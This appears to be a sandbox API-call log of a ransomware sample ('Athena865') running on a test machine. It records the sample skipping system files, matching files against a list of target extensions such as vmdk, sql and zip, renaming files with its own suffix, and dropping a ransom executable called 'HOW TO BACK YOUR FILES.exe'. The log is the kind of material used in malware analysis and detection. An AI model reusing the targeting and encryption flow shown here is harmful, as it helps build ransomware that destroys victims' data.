RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.225] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.225] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.225] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.226] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x154 [0052.226] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0052.226] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.227] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.227] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.227] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.227] CloseHandle (hObject=0x154) returned 1 [0052.227] CloseHandle (hObject=0x17c) returned 1 [0052.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.229] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae0fe2c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xae0fe2c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xae0fe2c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A8s46zioVN.lnk", cAlternateFileName="A8S46Z~1.LNK")) returned 1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2=".") returned 1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="..") returned 1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="windows") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="bootmgr") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="temp") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="pagefile.sys") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="boot") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="ids.txt") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="ntuser.dat") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="perflogs") returned -1 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2="MSBuild") returned -1 [0052.229] lstrlenW (lpString="A8s46zioVN.lnk") returned 14 [0052.229] lstrcpyW (in: lpString1=0x241e8b4, lpString2="A8s46zioVN.lnk" | out: lpString1="A8s46zioVN.lnk") returned="A8s46zioVN.lnk" [0052.229] lstrlenW (lpString="A8s46zioVN.lnk") returned 14 [0052.229] lstrlenW (lpString="Athena865") returned 9 [0052.229] lstrcmpiW (lpString1="zioVN.lnk", lpString2="Athena865") returned 1 [0052.229] lstrlenW (lpString=".dll") returned 4 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2=".dll") returned 1 [0052.229] lstrlenW (lpString=".lnk") returned 4 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2=".lnk") returned 1 [0052.229] lstrlenW (lpString=".ini") returned 4 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2=".ini") returned 1 [0052.229] lstrlenW (lpString=".sys") returned 4 [0052.229] lstrcmpiW (lpString1="A8s46zioVN.lnk", lpString2=".sys") returned 1 [0052.229] lstrlenW (lpString="A8s46zioVN.lnk") returned 14 [0052.230] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\A8s46zioVN.lnk.Athena865") returned 78 [0052.230] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\A8s46zioVN.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\a8s46ziovn.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\A8s46zioVN.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\a8s46ziovn.lnk.athena865"), dwFlags=0x1) returned 1 [0052.230] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\A8s46zioVN.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\a8s46ziovn.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.231] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2587) returned 1 [0052.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.232] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.233] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.233] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.233] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x154 [0052.233] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x100000 [0052.234] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.234] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.234] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.235] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.235] CloseHandle (hObject=0x154) returned 1 [0052.235] CloseHandle (hObject=0x17c) returned 1 [0052.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.236] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a7cc0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb2273fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb2273fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="al9qeSvEUMbs.lnk", cAlternateFileName="AL9QES~1.LNK")) returned 1 [0052.236] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.236] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.236] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2=".") returned 1 [0052.236] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="..") returned 1 [0052.236] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="windows") returned -1 [0052.236] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="bootmgr") returned -1 [0052.236] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="temp") returned -1 [0052.236] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="pagefile.sys") returned -1 [0052.236] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="boot") returned -1 [0052.237] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="ids.txt") returned -1 [0052.237] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="ntuser.dat") returned -1 [0052.237] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="perflogs") returned -1 [0052.237] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2="MSBuild") returned -1 [0052.237] lstrlenW (lpString="al9qeSvEUMbs.lnk") returned 16 [0052.237] lstrcpyW (in: lpString1=0x241e8b4, lpString2="al9qeSvEUMbs.lnk" | out: lpString1="al9qeSvEUMbs.lnk") returned="al9qeSvEUMbs.lnk" [0052.237] lstrlenW (lpString="al9qeSvEUMbs.lnk") returned 16 [0052.237] lstrlenW (lpString="Athena865") returned 9 [0052.237] lstrcmpiW (lpString1="EUMbs.lnk", lpString2="Athena865") returned 1 [0052.237] lstrlenW (lpString=".dll") returned 4 [0052.237] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2=".dll") returned 1 [0052.237] lstrlenW (lpString=".lnk") returned 4 [0052.237] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2=".lnk") returned 1 [0052.237] lstrlenW (lpString=".ini") returned 4 [0052.237] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2=".ini") returned 1 [0052.237] lstrlenW (lpString=".sys") returned 4 [0052.237] lstrcmpiW (lpString1="al9qeSvEUMbs.lnk", lpString2=".sys") returned 1 [0052.237] lstrlenW (lpString="al9qeSvEUMbs.lnk") returned 16 [0052.237] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\al9qeSvEUMbs.lnk.Athena865") returned 80 [0052.237] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\al9qeSvEUMbs.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\al9qesveumbs.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\al9qeSvEUMbs.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\al9qesveumbs.lnk.athena865"), dwFlags=0x1) returned 1 [0052.238] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\al9qeSvEUMbs.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\al9qesveumbs.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.238] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2493) returned 1 [0052.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.239] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.239] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.239] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.239] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc0, lpName=0x0) returned 0x154 [0052.239] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcc0) returned 0x100000 [0052.240] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.240] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.240] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.245] lstrcpyW (in: lpString1=0x241e8b4, lpString2="ASKyKcLL.mkv.lnk" | out: lpString1="ASKyKcLL.mkv.lnk") returned="ASKyKcLL.mkv.lnk" [0052.245] lstrlenW (lpString="ASKyKcLL.mkv.lnk") returned 16 [0052.245] lstrlenW (lpString="Athena865") returned 9 [0052.245] lstrcmpiW (lpString1="L.mkv.lnk", lpString2="Athena865") returned 1 [0052.245] lstrlenW (lpString=".dll") returned 4 [0052.245] lstrcmpiW (lpString1="ASKyKcLL.mkv.lnk", lpString2=".dll") returned 1 [0052.245] lstrlenW (lpString=".lnk") returned 4 [0052.245] lstrcmpiW (lpString1="ASKyKcLL.mkv.lnk", lpString2=".lnk") returned 1 [0052.245] lstrlenW (lpString=".ini") returned 4 [0052.245] lstrcmpiW (lpString1="ASKyKcLL.mkv.lnk", lpString2=".ini") returned 1 [0052.245] lstrlenW (lpString=".sys") returned 4 [0052.245] lstrcmpiW (lpString1="ASKyKcLL.mkv.lnk", lpString2=".sys") returned 1 [0052.245] lstrlenW (lpString="ASKyKcLL.mkv.lnk") returned 16 [0052.245] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ASKyKcLL.mkv.lnk.Athena865") returned 80 [0052.246] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ASKyKcLL.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\askykcll.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ASKyKcLL.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\askykcll.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.246] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ASKyKcLL.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\askykcll.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.247] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5165) returned 1 [0052.247] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.248] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.248] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.248] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1730, lpName=0x0) returned 0x154 [0052.248] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1730) returned 0x100000 [0052.248] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.249] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.249] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.250] lstrcpyW (in: lpString1=0x241e8b4, lpString2="AutomaticDestinations" | out: lpString1="AutomaticDestinations") returned="AutomaticDestinations" [0052.250] lstrcatW (in: lpString1="AutomaticDestinations", lpString2="\\" | out: lpString1="AutomaticDestinations\\") returned="AutomaticDestinations\\" [0052.250] lstrcatW (in: lpString1="AutomaticDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe") returned="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" [0052.250] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\how to back your files.exe"), bFailIfExists=1) returned 1 [0052.252] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb04d8e20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb081ec60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb081ec60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xecb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B6lAo1oUZJ4n11zTi.lnk", cAlternateFileName="B6LAO1~1.LNK")) returned 1 [0052.252] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.252] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.252] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2=".") returned 1 [0052.252] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="..") returned 1 [0052.252] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="windows") returned -1 [0052.252] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="bootmgr") returned -1 [0052.252] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="temp") returned -1 [0052.252] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="pagefile.sys") returned -1 [0052.253] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="boot") returned -1 [0052.253] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="ids.txt") returned -1 [0052.253] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="ntuser.dat") returned -1 [0052.253] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="perflogs") returned -1 [0052.253] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2="MSBuild") returned -1 [0052.253] lstrlenW (lpString="B6lAo1oUZJ4n11zTi.lnk") returned 21 [0052.253] lstrcpyW (in: lpString1=0x241e8b4, lpString2="B6lAo1oUZJ4n11zTi.lnk" | out: lpString1="B6lAo1oUZJ4n11zTi.lnk") returned="B6lAo1oUZJ4n11zTi.lnk" [0052.253] lstrlenW (lpString="B6lAo1oUZJ4n11zTi.lnk") returned 21 [0052.253] lstrlenW (lpString="Athena865") returned 9 [0052.253] lstrcmpiW (lpString1="11zTi.lnk", lpString2="Athena865") returned -1 [0052.253] lstrlenW (lpString=".dll") returned 4 [0052.253] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2=".dll") returned 1 [0052.253] lstrlenW (lpString=".lnk") returned 4 [0052.253] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2=".lnk") returned 1 [0052.253] lstrlenW (lpString=".ini") returned 4 [0052.253] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2=".ini") returned 1 [0052.253] lstrlenW (lpString=".sys") returned 4 [0052.253] lstrcmpiW (lpString1="B6lAo1oUZJ4n11zTi.lnk", lpString2=".sys") returned 1 [0052.253] lstrlenW (lpString="B6lAo1oUZJ4n11zTi.lnk") returned 21 [0052.253] lstrlenW (lpString="bak") returned 3 [0052.253] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.253] lstrlenW (lpString="ba_") returned 3 [0052.253] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.253] lstrlenW (lpString="dbb") returned 3 [0052.253] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.253] lstrlenW (lpString="vmdk") returned 4 [0052.253] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.253] lstrlenW (lpString="rar") returned 3 [0052.253] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.253] lstrlenW (lpString="zip") returned 3 [0052.253] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.253] lstrlenW (lpString="tgz") returned 3 [0052.253] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.253] lstrlenW (lpString="vbox") returned 4 [0052.254] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.254] lstrlenW (lpString="vdi") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.254] lstrlenW (lpString="vhd") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.254] lstrlenW (lpString="vhdx") returned 4 [0052.254] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.254] lstrlenW (lpString="avhd") returned 4 [0052.254] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.254] lstrlenW (lpString="db") returned 2 [0052.254] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.254] lstrlenW (lpString="db2") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.254] lstrlenW (lpString="db3") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.254] lstrlenW (lpString="dbf") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.254] lstrlenW (lpString="mdf") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.254] lstrlenW (lpString="mdb") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.254] lstrlenW (lpString="sql") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.254] lstrlenW (lpString="sqlite") returned 6 [0052.254] lstrcmpiW (lpString1="Ti.lnk", lpString2="sqlite") returned 1 [0052.254] lstrlenW (lpString="sqlite3") returned 7 [0052.254] lstrcmpiW (lpString1="zTi.lnk", lpString2="sqlite3") returned 1 [0052.254] lstrlenW (lpString="sqlitedb") returned 8 [0052.254] lstrcmpiW (lpString1="1zTi.lnk", lpString2="sqlitedb") returned -1 [0052.254] lstrlenW (lpString="xml") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.254] lstrlenW (lpString="$er") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.254] lstrlenW (lpString="4dd") returned 3 [0052.254] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.255] lstrlenW (lpString="4dl") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.255] lstrlenW (lpString="^^^") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.255] lstrlenW (lpString="abs") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.255] lstrlenW (lpString="abx") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.255] lstrlenW (lpString="accdb") returned 5 